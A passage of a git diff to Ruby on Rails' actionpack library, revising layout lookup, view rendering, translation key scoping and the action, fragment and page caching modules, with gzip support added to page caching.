-  # * The TellerController follows convention and uses +app/views/layouts/teller.html.erb+.
-  # * The TillController inherits the layout from TellerController and uses +teller.html.erb+ as well.
+  # In these examples, we have three implicit lookup scenarios:
+  # * The BankController uses the "bank" layout.
+  # * The ExchangeController uses the "exchange" layout.
+  # * The CurrencyController inherits the layout from BankController.
+  #
+  # However, when a layout is explicitly set, the explicitly set layout wins:
+  # * The InformationController uses the "information" layout, explicitly set.
+  # * The TellerController also uses the "information" layout, because the parent explicitly set it.
+  # * The EmployeeController uses the "employee" layout, because it set the layout to nil, resetting the parent configuration.
   # * The VaultController chooses a layout dynamically by calling the <tt>access_level_layout</tt> method.
-  # * The EmployeeController does not use a layout at all.
+  # * The TillController does not use a layout at all.
   #
   # == Types of layouts
   #
@@ -107,6 +120,7 @@ module AbstractController
   #       def writers_and_readers
   #         logged_in? ? "writer_layout" : "reader_layout"
   #       end
+  #   end
   #
   # Now when a new request for the index action is processed, the layout will vary depending on whether the person accessing
   # is logged in or not.
@@ -114,7 +128,14 @@ module AbstractController
   # If you want to use an inline method, such as a proc, do something like this:
   #
   #   class WeblogController < ActionController::Base
-  #     layout proc{ |controller| controller.logged_in? ? "writer_layout" : "reader_layout" }
+  #     layout proc { |controller| controller.logged_in? ? "writer_layout" : "reader_layout" }
+  #   end
+  #
+  # If an argument isn't given to the proc, it's evaluated in the context of
+  # the current controller anyway.
+  #
+  #   class WeblogController < ActionController::Base
+  #     layout proc { logged_in? ? "writer_layout" : "reader_layout" }
   #   end
   #
   # Of course, the most common way of specifying a layout is still just as a plain template name:
@@ -123,8 +144,24 @@ module AbstractController
   #     layout "weblog_standard"
   #   end
   #
-  # If no directory is specified for the template name, the template will by default be looked for in <tt>app/views/layouts/</tt>.
-  # Otherwise, it will be looked up relative to the template root.
+  # The template will be looked always in <tt>app/views/layouts/</tt> folder. But you can point
+  # <tt>layouts</tt> folder direct also. <tt>layout "layouts/demo"</tt> is the same as <tt>layout "demo"</tt>.
+  #
+  # Setting the layout to nil forces it to be looked up in the filesystem and fallbacks to the parent behavior if none exists.
+  # Setting it to nil is useful to re-enable template lookup overriding a previous configuration set in the parent:
+  #
+  #     class ApplicationController < ActionController::Base
+  #       layout "application"
+  #     end
+  #
+  #     class PostsController < ApplicationController
+  #       # Will use "application" layout
+  #     end
+  #
+  #     class CommentsController < ApplicationController
+  #       # Will search for "comments" layout and fallback "application" layout
+  #       layout nil
+  #     end
   #
   # == Conditional layouts
   #
@@ -166,13 +203,14 @@ module AbstractController
     include Rendering
 
     included do
-      class_attribute :_layout_conditions
-      remove_possible_method :_layout_conditions
-      delegate :_layout_conditions, :to => :'self.class'
+      class_attribute :_layout, :_layout_conditions, :instance_accessor => false
+      self._layout = nil
       self._layout_conditions = {}
       _write_layout_method
     end
 
+    delegate :_layout_conditions, :to => "self.class"
+
     module ClassMethods
       def inherited(klass)
         super
@@ -188,7 +226,7 @@ module AbstractController
         #
         # ==== Returns
         # * <tt> Boolean</tt> - True if the action has a layout, false otherwise.
-        def action_has_layout?
+        def conditional_layout?
           return unless super
 
           conditions = _layout_conditions
@@ -207,10 +245,10 @@ module AbstractController
       #
       # If the specified layout is a:
       # String:: the String is the template name
-      # Symbol:: call the method specified by the symbol, which will return
-      #   the template name
+      # Symbol:: call the method specified by the symbol, which will return the template name
       # false::  There is no layout
       # true::   raise an ArgumentError
+      # nil::    Force default layout behavior with inheritance
       #
       # ==== Parameters
       # * <tt>layout</tt> - The layout to use.
@@ -224,7 +262,7 @@ module AbstractController
         conditions.each {|k, v| conditions[k] = Array(v).map {|a| a.to_s} }
         self._layout_conditions = conditions
 
-        @_layout = layout || false # Converts nil to false
+        self._layout = layout
         _write_layout_method
       end
 
@@ -244,43 +282,50 @@ module AbstractController
       def _write_layout_method
         remove_possible_method(:_layout)
 
-        case defined?(@_layout) ? @_layout : nil
-        when String
-          self.class_eval %{def _layout; #{@_layout.inspect} end}, __FILE__, __LINE__
-        when Symbol
-          self.class_eval <<-ruby_eval, __FILE__, __LINE__ + 1
-            def _layout
-              #{@_layout}.tap do |layout|
+        prefixes    = _implied_layout_name =~ /\blayouts/ ? [] : ["layouts"]
+        name_clause = if name
+          <<-RUBY
+            lookup_context.find_all("#{_implied_layout_name}", #{prefixes.inspect}).first || super
+          RUBY
+        else
+          <<-RUBY
+            super
+          RUBY
+        end
+
+        layout_definition = case _layout
+          when String
+            _layout.inspect
+          when Symbol
+            <<-RUBY
+              #{_layout}.tap do |layout|
                 unless layout.is_a?(String) || !layout
-                  raise ArgumentError, "Your layout method :#{@_layout} returned \#{layout}. It " \
+                  raise ArgumentError, "Your layout method :#{_layout} returned \#{layout}. It " \
                     "should have returned a String, false, or nil"
                 end
               end
-            end
-          ruby_eval
-        when Proc
-          define_method :_layout_from_proc, &@_layout
-          self.class_eval %{def _layout; _layout_from_proc(self) end}, __FILE__, __LINE__
-        when false
-          self.class_eval %{def _layout; end}, __FILE__, __LINE__
-        when true
-          raise ArgumentError, "Layouts must be specified as a String, Symbol, false, or nil"
-        when nil
-          if name
-            _prefixes = _implied_layout_name =~ /\blayouts/ ? [] : ["layouts"]
-
-            self.class_eval <<-RUBY, __FILE__, __LINE__ + 1
-              def _layout
-                if template_exists?("#{_implied_layout_name}", #{_prefixes.inspect})
-                  "#{_implied_layout_name}"
-                else
-                  super
-                end
-              end
             RUBY
-          end
+          when Proc
+              define_method :_layout_from_proc, &_layout
+              _layout.arity == 0 ? "_layout_from_proc" : "_layout_from_proc(self)"
+          when false
+            nil
+          when true
+            raise ArgumentError, "Layouts must be specified as a String, Symbol, Proc, false, or nil"
+          when nil
+            name_clause
         end
-        self.class_eval { private :_layout }
+
+        self.class_eval <<-RUBY, __FILE__, __LINE__ + 1
+          def _layout
+            if conditional_layout?
+              #{layout_definition}
+            else
+              #{name_clause}
+            end
+          end
+          private :_layout
+        RUBY
       end
     end
 
@@ -288,9 +333,8 @@ module AbstractController
       super
 
       if _include_layout?(options)
-        layout = options.key?(:layout) ? options.delete(:layout) : :default
-        value = _layout_for_option(layout)
-        options[:layout] = (value =~ /\blayouts/ ? value : "layouts/#{value}") if value
+        layout = options.delete(:layout) { :default }
+        options[:layout] = _layout_for_option(layout)
       end
     end
 
@@ -305,6 +349,10 @@ module AbstractController
       @_action_has_layout
     end
 
+    def conditional_layout?
+      true
+    end
+
   private
 
     # This will be overwritten by _write_layout_method
@@ -316,16 +364,21 @@ module AbstractController
     # * <tt>name</tt> - The name of the template
     def _layout_for_option(name)
       case name
-      when String     then name
-      when true       then _default_layout(true)
-      when :default   then _default_layout(false)
+      when String     then _normalize_layout(name)
+      when Proc       then name
+      when true       then Proc.new { _default_layout(true)  }
+      when :default   then Proc.new { _default_layout(false) }
       when false, nil then nil
       else
         raise ArgumentError,
-          "String, true, or false, expected for `layout'; you passed #{name.inspect}"
+          "String, Proc, :default, true, or false, expected for `layout'; you passed #{name.inspect}"
       end
     end
 
+    def _normalize_layout(value)
+      value.is_a?(String) && value !~ /\blayouts/ ? "layouts/#{value}" : value
+    end
+
     # Returns the default layout for this controller.
     # Optionally raises an exception if the layout could not be found.
     #
@@ -337,17 +390,17 @@ module AbstractController
     # * <tt>template</tt> - The template object for the default layout (or nil)
     def _default_layout(require_layout = false)
       begin
-        layout_name = _layout if action_has_layout?
+        value = _layout if action_has_layout?
       rescue NameError => e
         raise e, "Could not render layout: #{e.message}"
       end
 
-      if require_layout && action_has_layout? && !layout_name
+      if require_layout && action_has_layout? && !value
         raise ArgumentError,
           "There was no default layout for #{self.class} in #{view_paths.inspect}"
       end
 
-      layout_name
+      _normalize_layout(value)
     end
 
     def _include_layout?(options)
diff --git a/actionpack/lib/abstract_controller/logger.rb b/actionpack/lib/abstract_controller/logger.rb
index 0b196119f4..c31ea6c5b5 100644
--- a/actionpack/lib/abstract_controller/logger.rb
+++ b/actionpack/lib/abstract_controller/logger.rb
@@ -1,13 +1,12 @@
-require "active_support/core_ext/logger"
 require "active_support/benchmarkable"
 
 module AbstractController
-  module Logger
+  module Logger #:nodoc:
     extend ActiveSupport::Concern
 
     included do
       config_accessor :logger
-      extend ActiveSupport::Benchmarkable
+      include ActiveSupport::Benchmarkable
     end
   end
 end
diff --git a/actionpack/lib/abstract_controller/railties/routes_helpers.rb b/actionpack/lib/abstract_controller/railties/routes_helpers.rb
index dec1e9d6d9..6684f46f64 100644
--- a/actionpack/lib/abstract_controller/railties/routes_helpers.rb
+++ b/actionpack/lib/abstract_controller/railties/routes_helpers.rb
@@ -5,8 +5,8 @@ module AbstractController
         Module.new do
           define_method(:inherited) do |klass|
             super(klass)
-            if namespace = klass.parents.detect {|m| m.respond_to?(:_railtie) }
-              klass.send(:include, namespace._railtie.routes.url_helpers)
+            if namespace = klass.parents.detect { |m| m.respond_to?(:railtie_routes_url_helpers) }
+              klass.send(:include, namespace.railtie_routes_url_helpers)
             else
               klass.send(:include, routes.url_helpers)
             end
diff --git a/actionpack/lib/abstract_controller/rendering.rb b/actionpack/lib/abstract_controller/rendering.rb
index 41fdc11196..3da2834af0 100644
--- a/actionpack/lib/abstract_controller/rendering.rb
+++ b/actionpack/lib/abstract_controller/rendering.rb
@@ -1,6 +1,5 @@
 require "abstract_controller/base"
 require "action_view"
-require "active_support/core_ext/object/instance_variables"
 
 module AbstractController
   class DoubleRenderError < Error
@@ -35,7 +34,7 @@ module AbstractController
     include AbstractController::ViewPaths
 
     included do
-      config_accessor :protected_instance_variables, :instance_reader => false
+      class_attribute :protected_instance_variables
       self.protected_instance_variables = []
     end
 
@@ -50,28 +49,27 @@ module AbstractController
     module ClassMethods
       def view_context_class
         @view_context_class ||= begin
-          routes  = _routes  if respond_to?(:_routes)
-          helpers = _helpers if respond_to?(:_helpers)
-          ActionView::Base.prepare(routes, helpers)
+          routes = respond_to?(:_routes) && _routes
+          helpers = respond_to?(:_helpers) && _helpers
+          
+          Class.new(ActionView::Base) do
+            if routes
+              include routes.url_helpers
+              include routes.mounted_helpers
+            end
+
+            if helpers
+              include helpers
+            end
+          end
         end
       end
     end
 
     attr_internal_writer :view_context_class
 
-    # Explicitly define protected_instance_variables so it can be
-    # inherited and overwritten by other modules if needed.
-    def protected_instance_variables
-      config.protected_instance_variables
-    end
-
     def view_context_class
-      @_view_context_class || self.class.view_context_class
-    end
-
-    def initialize(*)
-      @_view_context_class = nil
-      super
+      @_view_context_class ||= self.class.view_context_class
     end
 
     # An instance of a view class. The default view class is ActionView::Base
@@ -117,23 +115,24 @@ module AbstractController
     # Find and renders a template based on the options given.
     # :api: private
     def _render_template(options) #:nodoc:
+      lookup_context.rendered_format = nil if options[:formats]
       view_renderer.render(view_context, options)
     end
 
-    DEFAULT_PROTECTED_INSTANCE_VARIABLES = %w(
-      @_action_name @_response_body @_formats @_prefixes @_config
-      @_view_context_class @_view_renderer @_lookup_context
-    )
+    DEFAULT_PROTECTED_INSTANCE_VARIABLES = [
+      :@_action_name, :@_response_body, :@_formats, :@_prefixes, :@_config,
+      :@_view_context_class, :@_view_renderer, :@_lookup_context
+    ]
 
     # This method should return a hash with assigns.
     # You can overwrite this configuration per controller.
     # :api: public
     def view_assigns
       hash = {}
-      variables  = instance_variable_names
+      variables  = instance_variables
       variables -= protected_instance_variables
       variables -= DEFAULT_PROTECTED_INSTANCE_VARIABLES
-      variables.each { |name| hash[name.to_s[1, name.length]] = instance_variable_get(name) }
+      variables.each { |name| hash[name[1..-1]] = instance_variable_get(name) }
       hash
     end
 
diff --git a/actionpack/lib/abstract_controller/translation.rb b/actionpack/lib/abstract_controller/translation.rb
index 6d68cf4944..b6c484d188 100644
--- a/actionpack/lib/abstract_controller/translation.rb
+++ b/actionpack/lib/abstract_controller/translation.rb
@@ -1,6 +1,12 @@
 module AbstractController
   module Translation
     def translate(*args)
+      key = args.first
+      if key.is_a?(String) && (key[0] == '.')
+        key = "#{ controller_path.gsub('/', '.') }.#{ action_name }#{ key }"
+        args[0] = key
+      end
+
       I18n.translate(*args)
     end
     alias :t :translate
@@ -10,4 +16,4 @@ module AbstractController
     end
     alias :l :localize
   end
-end
\ No newline at end of file
+end
diff --git a/actionpack/lib/abstract_controller/url_for.rb b/actionpack/lib/abstract_controller/url_for.rb
index e4261068d8..4a95e1f276 100644
--- a/actionpack/lib/abstract_controller/url_for.rb
+++ b/actionpack/lib/abstract_controller/url_for.rb
@@ -1,10 +1,10 @@
-# Includes +url_for+ into the host class (e.g. an abstract controller or mailer). The class
-# has to provide a +RouteSet+ by implementing the <tt>_routes</tt> methods. Otherwise, an
-# exception will be raised.
-#
-# Note that this module is completely decoupled from HTTP - the only requirement is a valid 
-# <tt>_routes</tt> implementation.
 module AbstractController
+  # Includes +url_for+ into the host class (e.g. an abstract controller or mailer). The class
+  # has to provide a +RouteSet+ by implementing the <tt>_routes</tt> methods. Otherwise, an
+  # exception will be raised.
+  #
+  # Note that this module is completely decoupled from HTTP - the only requirement is a valid
+  # <tt>_routes</tt> implementation.
   module UrlFor
     extend ActiveSupport::Concern
     include ActionDispatch::Routing::UrlFor
diff --git a/actionpack/lib/abstract_controller/view_paths.rb b/actionpack/lib/abstract_controller/view_paths.rb
index e8394447a7..c08b3a0e2a 100644
--- a/actionpack/lib/abstract_controller/view_paths.rb
+++ b/actionpack/lib/abstract_controller/view_paths.rb
@@ -10,7 +10,7 @@ module AbstractController
       self._view_paths.freeze
     end
 
-    delegate :find_template, :template_exists?, :view_paths, :formats, :formats=,
+    delegate :template_exists?, :view_paths, :formats, :formats=,
              :locale, :locale=, :to => :lookup_context
 
     module ClassMethods
@@ -89,7 +89,7 @@ module AbstractController
       # * <tt>paths</tt> - If a PathSet is provided, use that;
       #   otherwise, process the parameter into a PathSet.
       def view_paths=(paths)
-        self._view_paths = ActionView::PathSet.new(Array.wrap(paths))
+        self._view_paths = ActionView::PathSet.new(Array(paths))
       end
     end
   end
diff --git a/actionpack/lib/action_controller.rb b/actionpack/lib/action_controller.rb
index f4eaa2fd1b..31df9d605c 100644
--- a/actionpack/lib/action_controller.rb
+++ b/actionpack/lib/action_controller.rb
@@ -1,5 +1,7 @@
+require 'active_support/rails'
 require 'abstract_controller'
 require 'action_dispatch'
+require 'action_controller/metal/live'
 
 module ActionController
   extend ActiveSupport::Autoload
@@ -31,7 +33,6 @@ module ActionController
     autoload :RequestForgeryProtection
     autoload :Rescue
     autoload :Responder
-    autoload :SessionManagement
     autoload :Streaming
     autoload :Testing
     autoload :UrlFor
@@ -40,7 +41,6 @@ module ActionController
   autoload :Integration,        'action_controller/deprecated/integration_test'
   autoload :IntegrationTest,    'action_controller/deprecated/integration_test'
   autoload :PerformanceTest,    'action_controller/deprecated/performance_test'
-  autoload :UrlWriter,          'action_controller/deprecated'
   autoload :Routing,            'action_controller/deprecated'
   autoload :TestCase,           'action_controller/test_case'
   autoload :TemplateAssertions, 'action_controller/test_case'
@@ -48,6 +48,12 @@ module ActionController
   eager_autoload do
     autoload :RecordIdentifier
   end
+
+  def self.eager_load!
+    super
+    ActionController::Caching.eager_load!
+    HTML.eager_load!
+  end
 end
 
 # All of these simply register additional autoloads
@@ -55,11 +61,9 @@ require 'action_view'
 require 'action_controller/vendor/html-scanner'
 
 # Common Active Support usage in Action Controller
-require 'active_support/concern'
 require 'active_support/core_ext/class/attribute_accessors'
 require 'active_support/core_ext/load_error'
 require 'active_support/core_ext/module/attr_internal'
-require 'active_support/core_ext/module/delegation'
 require 'active_support/core_ext/name_error'
 require 'active_support/core_ext/uri'
 require 'active_support/inflector'
diff --git a/actionpack/lib/action_controller/base.rb b/actionpack/lib/action_controller/base.rb
index 98bfe72fef..71425cd542 100644
--- a/actionpack/lib/action_controller/base.rb
+++ b/actionpack/lib/action_controller/base.rb
@@ -116,12 +116,12 @@ module ActionController
   #
   #   Title: <%= @post.title %>
   #
-  # You don't have to rely on the automated rendering. For example, actions that could result in the rendering of different templates 
+  # You don't have to rely on the automated rendering. For example, actions that could result in the rendering of different templates
   # will use the manual rendering methods:
   #
   #   def search
   #     @results = Search.find(params[:query])
-  #     case @results
+  #     case @results.count
   #       when 0 then render :action => "no_results"
   #       when 1 then render :action => "show"
   #       when 2..10 then render :action => "show_many"
@@ -133,7 +133,7 @@ module ActionController
   # == Redirects
   #
   # Redirects are used to move from one action to another. For example, after a <tt>create</tt> action, which stores a blog entry to the
-  # database, we might like to show the user the new entry. Because we're following good DRY principles (Don't Repeat Yourself), we're 
+  # database, we might like to show the user the new entry. Because we're following good DRY principles (Don't Repeat Yourself), we're
   # going to reuse (and redirect to) a <tt>show</tt> action that we'll assume has already been created. The code might look like this:
   #
   #   def create
@@ -171,6 +171,16 @@ module ActionController
   class Base < Metal
     abstract!
 
+    # Shortcut helper that returns all the ActionController::Base modules except the ones passed in the argument:
+    #
+    #   class MetalController
+    #     ActionController::Base.without_modules(:ParamsWrapper, :Streaming).each do |left|
+    #       include left
+    #     end
+    #   end
+    #
+    # This gives better control over what you want to exclude and makes it easier
+    # to create a bare controller class, instead of listing the modules required manually.
     def self.without_modules(*modules)
       modules = modules.map do |m|
         m.is_a?(Symbol) ? ActionController.const_get(m) : m
@@ -192,7 +202,6 @@ module ActionController
       Renderers::All,
       ConditionalGet,
       RackDelegation,
-      SessionManagement,
       Caching,
       MimeResponds,
       ImplicitRender,
@@ -228,8 +237,11 @@ module ActionController
       include mod
     end
 
-    # Rails 2.x compatibility
-    include ActionController::Compatibility
+    # Define some internal variables that should not be propagated to the view.
+    self.protected_instance_variables = [
+      :@_status, :@_headers, :@_params, :@_env, :@_response, :@_request,
+      :@_view_runtime, :@_stream, :@_url_options, :@_action_has_layout
+    ]
 
     ActiveSupport.run_load_hooks(:action_controller, self)
   end
diff --git a/actionpack/lib/action_controller/caching.rb b/actionpack/lib/action_controller/caching.rb
index 112573a38d..9118806059 100644
--- a/actionpack/lib/action_controller/caching.rb
+++ b/actionpack/lib/action_controller/caching.rb
@@ -55,6 +55,9 @@ module ActionController #:nodoc:
       end
     end
 
+    include RackDelegation
+    include AbstractController::Callbacks
+
     include ConfigMethods
     include Pages, Actions, Fragments
     include Sweeping if defined?(ActiveRecord)
diff --git a/actionpack/lib/action_controller/caching/actions.rb b/actionpack/lib/action_controller/caching/actions.rb
index f988de39dd..0238135bc1 100644
--- a/actionpack/lib/action_controller/caching/actions.rb
+++ b/actionpack/lib/action_controller/caching/actions.rb
@@ -40,14 +40,15 @@ module ActionController #:nodoc:
     #
     # You can modify the default action cache path by passing a
     # <tt>:cache_path</tt> option. This will be passed directly to
-    # <tt>ActionCachePath.path_for</tt>. This is handy for actions with
+    # <tt>ActionCachePath.new</tt>. This is handy for actions with
     # multiple possible routes that should be cached differently. If a
     # block is given, it is called with the current controller instance.
     #
     # And you can also use <tt>:if</tt> (or <tt>:unless</tt>) to pass a
     # proc that specifies when the action should be cached.
     #
-    # Finally, if you are using memcached, you can also pass <tt>:expires_in</tt>.
+    # As of Rails 3.0, you can also pass <tt>:expires_in</tt> with a time
+    # interval (in seconds) to schedule expiration of the cached item.
     #
     # The following example depicts some of the points made above:
     #
@@ -56,14 +57,14 @@ module ActionController #:nodoc:
     #
     #     caches_page :public
     #
-    #     caches_action :index, :if => proc do
+    #     caches_action :index, :if => Proc.new do
     #       !request.format.json?  # cache if is not a JSON request
     #     end
     #
     #     caches_action :show, :cache_path => { :project => 1 },
     #       :expires_in => 1.hour
     #
-    #     caches_action :feed, :cache_path => proc do
+    #     caches_action :feed, :cache_path => Proc.new do
     #       if params[:user_id]
     #         user_list_url(params[:user_id, params[:id])
     #       else
@@ -102,8 +103,10 @@ module ActionController #:nodoc:
       end
 
       def _save_fragment(name, options)
-        content = response_body
-        content = content.join if content.is_a?(Array)
+        content = ""
+        response_body.each do |parts|
+          content << parts
+        end
 
         if caching_allowed?
           write_fragment(name, content, options)
@@ -116,9 +119,8 @@ module ActionController #:nodoc:
       def expire_action(options = {})
         return unless cache_configured?
 
-        actions = options[:action]
-        if actions.is_a?(Array)
-          actions.each {|action| expire_action(options.merge(:action => action)) }
+        if options.is_a?(Hash) && options[:action].is_a?(Array)
+          options[:action].each {|action| expire_action(options.merge(:action => action)) }
         else
           expire_fragment(ActionCachePath.new(self, options, false).path)
         end
@@ -131,6 +133,8 @@ module ActionController #:nodoc:
         end
 
         def filter(controller)
+          cache_layout = @cache_layout.respond_to?(:call) ? @cache_layout.call(controller) : @cache_layout
+
           path_options = if @cache_path.respond_to?(:call)
             controller.instance_exec(controller, &@cache_path)
           else
@@ -142,13 +146,13 @@ module ActionController #:nodoc:
           body = controller.read_fragment(cache_path.path, @store_options)
 
           unless body
-            controller.action_has_layout = false unless @cache_layout
+            controller.action_has_layout = false unless cache_layout
             yield
             controller.action_has_layout = true
             body = controller._save_fragment(cache_path.path, @store_options)
           end
 
-          body = controller.render_to_string(:text => body, :layout => true) unless @cache_layout
+          body = controller.render_to_string(:text => body, :layout => true) unless cache_layout
 
           controller.response_body = body
           controller.content_type = Mime[cache_path.extension || :html]
@@ -168,14 +172,15 @@ module ActionController #:nodoc:
             options.reverse_merge!(:format => @extension) if options.is_a?(Hash)
           end
 
-          path = controller.url_for(options).split(%r{://}).last
+          path = controller.url_for(options).split('://', 2).last
           @path = normalize!(path)
         end
 
       private
         def normalize!(path)
+          ext = URI.parser.escape(extension) if extension
           path << 'index' if path[-1] == ?/
-          path << ".#{extension}" if extension and !path.split('?').first.ends_with?(".#{extension}")
+          path << ".#{ext}" if extension and !path.split('?', 2).first.ends_with?(".#{ext}")
           URI.parser.unescape(path)
         end
       end
diff --git a/actionpack/lib/action_controller/caching/fragments.rb b/actionpack/lib/action_controller/caching/fragments.rb
index abeb49d16f..9c77b0ccf4 100644
--- a/actionpack/lib/action_controller/caching/fragments.rb
+++ b/actionpack/lib/action_controller/caching/fragments.rb
@@ -5,48 +5,18 @@ module ActionController #:nodoc:
     # useful when certain elements of an action change frequently or 
     # depend on complicated state while other parts rarely change or 
     # can be shared amongst multiple parties. The caching is done using
-    # the <tt>cache</tt> helper available in the Action View. A 
-    # template with fragment caching might look like:
+    # the <tt>cache</tt> helper available in the Action View. See
+    # ActionView::Helpers::CacheHelper for more information.
     #
-    #   <b>Hello <%= @name %></b>
+    # While it's strongly recommended that you use key-based cache
+    # expiration (see links in CacheHelper for more information),
+    # it is also possible to manually expire caches. For example:
     #
-    #   <% cache do %>
-    #     All the topics in the system:
-    #     <%= render :partial => "topic", :collection => Topic.all %>
-    #   <% end %>
-    #
-    # This cache will bind the name of the action that called it, so if
-    # this code was part of the view for the topics/list action, you 
-    # would be able to invalidate it using:
-    #
-    #   expire_fragment(:controller => "topics", :action => "list")
-    #
-    # This default behavior is limited if you need to cache multiple 
-    # fragments per action or if the action itself is cached using 
-    # <tt>caches_action</tt>. To remedy this, there is an option to 
-    # qualify the name of the cached fragment by using the 
-    # <tt>:action_suffix</tt> option:
-    #
-    #   <% cache(:action => "list", :action_suffix => "all_topics") do %>
-    #
-    # That would result in a name such as 
-    # <tt>/topics/list/all_topics</tt>, avoiding conflicts with the 
-    # action cache and with any fragments that use a different suffix.
-    # Note that the URL doesn't have to really exist or be callable
-    # - the url_for system is just used to generate unique cache names
-    # that we can refer to when we need to expire the cache.
-    #
-    # The expiration call for this example is:
-    #
-    #   expire_fragment(:controller => "topics", 
-    #                   :action => "list", 
-    #                   :action_suffix => "all_topics")
+    #   expire_fragment("name_of_cache")
     module Fragments
       # Given a key (as described in <tt>expire_fragment</tt>), returns
       # a key suitable for use in reading, writing, or expiring a 
-      # cached fragment. If the key is a hash, the generated key is the
-      # return value of url_for on that hash (without the protocol). 
-      # All keys are prefixed with <tt>views/</tt> and uses
+      # cached fragment. All keys are prefixed with <tt>views/</tt> and uses
       # ActiveSupport::Cache.expand_cache_key for the expansion.
       def fragment_cache_key(key)
         ActiveSupport::Cache.expand_cache_key(key.is_a?(Hash) ? url_for(key).split("://").last : key, :views)
diff --git a/actionpack/lib/action_controller/caching/pages.rb b/actionpack/lib/action_controller/caching/pages.rb
index 957bb7de6b..73b8cd383c 100644
--- a/actionpack/lib/action_controller/caching/pages.rb
+++ b/actionpack/lib/action_controller/caching/pages.rb
@@ -16,7 +16,7 @@ module ActionController #:nodoc:
     #     caches_page :show, :new
     #   end
     #
-    # This will generate cache files such as <tt>weblog/show/5.html</tt> and <tt>weblog/new.html</tt>, which match the URLs used 
+    # This will generate cache files such as <tt>weblog/show/5.html</tt> and <tt>weblog/new.html</tt>, which match the URLs used
     # that would normally trigger dynamic page generation. Page caching works by configuring a web server to first check for the
     # existence of files on disk, and to serve them directly when found, without passing the request through to Action Pack.
     # This is much faster than handling the full dynamic request in the usual way.
@@ -38,27 +38,30 @@ module ActionController #:nodoc:
       extend ActiveSupport::Concern
 
       included do
-        ##
-        # :singleton-method:
         # The cache directory should be the document root for the web server and is set using <tt>Base.page_cache_directory = "/document/root"</tt>.
         # For Rails, this directory has already been set to Rails.public_path (which is usually set to <tt>Rails.root + "/public"</tt>). Changing
         # this setting can be useful to avoid naming conflicts with files in <tt>public/</tt>, but doing so will likely require configuring your
         # web server to look in the new location for cached files.
-        config_accessor :page_cache_directory
+        class_attribute :page_cache_directory
         self.page_cache_directory ||= ''
 
-        ##
-        # :singleton-method:
         # Most Rails requests do not have an extension, such as <tt>/weblog/new</tt>. In these cases, the page caching mechanism will add one in
         # order to make it easy for the cached files to be picked up properly by the web server. By default, this cache extension is <tt>.html</tt>.
         # If you want something else, like <tt>.php</tt> or <tt>.shtml</tt>, just set Base.page_cache_extension. In cases where a request already has an
         # extension, such as <tt>.xml</tt> or <tt>.rss</tt>, page caching will not add an extension. This allows it to work well with RESTful apps.
-        config_accessor :page_cache_extension
+        class_attribute :page_cache_extension
         self.page_cache_extension ||= '.html'
+
+        # The compression used for gzip. If false (default), the page is not compressed.
+        # If can be a symbol showing the ZLib compression method, for example, :best_compression
+        # or :best_speed or an integer configuring the compression level.
+        class_attribute :page_cache_compression
+        self.page_cache_compression ||= false
       end
 
       module ClassMethods
-        # Expires the page that was cached with the +path+ as a key. Example:
+        # Expires the page that was cached with the +path+ as a key.
+        #
         #   expire_page "/lists/show"
         def expire_page(path)
           return unless perform_caching
@@ -66,35 +69,59 @@ module ActionController #:nodoc:
 
           instrument_page_cache :expire_page, path do
             File.delete(path) if File.exist?(path)
+            File.delete(path + '.gz') if File.exist?(path + '.gz')
           end
         end
 
-        # Manually cache the +content+ in the key determined by +path+. Example:
+        # Manually cache the +content+ in the key determined by +path+.
+        #
         #   cache_page "I'm the cached content", "/lists/show"
-        def cache_page(content, path, extension = nil)
+        def cache_page(content, path, extension = nil, gzip = Zlib::BEST_COMPRESSION)
           return unless perform_caching
           path = page_cache_path(path, extension)
 
           instrument_page_cache :write_page, path do
             FileUtils.makedirs(File.dirname(path))
             File.open(path, "wb+") { |f| f.write(content) }
+            if gzip
+              Zlib::GzipWriter.open(path + '.gz', gzip) { |f| f.write(content) }
+            end
           end
         end
 
-        # Caches the +actions+ using the page-caching approach that'll store the cache in a path within the page_cache_directory that
+        # Caches the +actions+ using the page-caching approach that'll store
+        # the cache in a path within the page_cache_directory that
         # matches the triggering url.
         #
-        # Usage:
+        # You can also pass a :gzip option to override the class configuration one.
         #
         #   # cache the index action
         #   caches_page :index
         #
         #   # cache the index action except for JSON requests
-        #   caches_page :index, :if => Proc.new { |c| !c.request.format.json? }
+        #   caches_page :index, :if => Proc.new { !request.format.json? }
+        #
+        #   # don't gzip images
+        #   caches_page :image, :gzip => false
         def caches_page(*actions)
           return unless perform_caching
           options = actions.extract_options!
-          after_filter({:only => actions}.merge(options)) { |c| c.cache_page }
+
+          gzip_level = options.fetch(:gzip, page_cache_compression)
+          gzip_level = case gzip_level
+          when Symbol
+            Zlib.const_get(gzip_level.upcase)
+          when Fixnum
+            gzip_level
+          when false
+            nil
+          else
+            Zlib::BEST_COMPRESSION
+          end
+
+          after_filter({:only => actions}.merge(options)) do |c|
+            c.cache_page(nil, nil, gzip_level)
+          end
         end
 
         private
@@ -115,7 +142,8 @@ module ActionController #:nodoc:
           end
       end
 
-      # Expires the page that was cached with the +options+ as a key. Example:
+      # Expires the page that was cached with the +options+ as a key.
+      #
       #   expire_page :controller => "lists", :action => "show"
       def expire_page(options = {})
         return unless self.class.perform_caching
@@ -134,9 +162,10 @@ module ActionController #:nodoc:
       end
 
       # Manually cache the +content+ in the key determined by +options+. If no content is provided, the contents of response.body is used.
-      # If no options are provided, the url of the current request being handled is used. Example:
+      # If no options are provided, the url of the current request being handled is used.
+      #
       #   cache_page "I'm the cached content", :controller => "lists", :action => "show"
-      def cache_page(content = nil, options = nil)
+      def cache_page(content = nil, options = nil, gzip = Zlib::BEST_COMPRESSION)
         return unless self.class.perform_caching && caching_allowed?
 
         path = case options
@@ -152,7 +181,7 @@ module ActionController #:nodoc:
           extension = ".#{type_symbol}"
         end
 
-        self.class.cache_page(content || response.body, path, extension)
+        self.class.cache_page(content || response.body, path, extension, gzip)
       end
 
     end
diff --git a/actionpack/lib/action_controller/caching/sweeping.rb b/actionpack/lib/action_controller/caching/sweeping.rb
index 49cf70ec21..73291ce083 100644
--- a/actionpack/lib/action_controller/caching/sweeping.rb
+++ b/actionpack/lib/action_controller/caching/sweeping.rb
@@ -54,6 +54,11 @@ module ActionController #:nodoc:
       class Sweeper < ActiveRecord::Observer #:nodoc:
         attr_accessor :controller
 
+        def initialize(*args)
+          super
+          @controller = nil
+        end
+
         def before(controller)
           self.controller = controller
           callback(:before) if controller.perform_caching
@@ -63,8 +68,14 @@ module ActionController #:nodoc:
         def after(controller)
           self.controller = controller
           callback(:after) if controller.perform_caching
-          # Clean up, so that the controller can be collected after this request
-          self.controller = nil
+        end
+
+        def around(controller)
+          before(controller)
+          yield
+          after(controller)
+        ensure
+          clean_up
         end
 
         protected
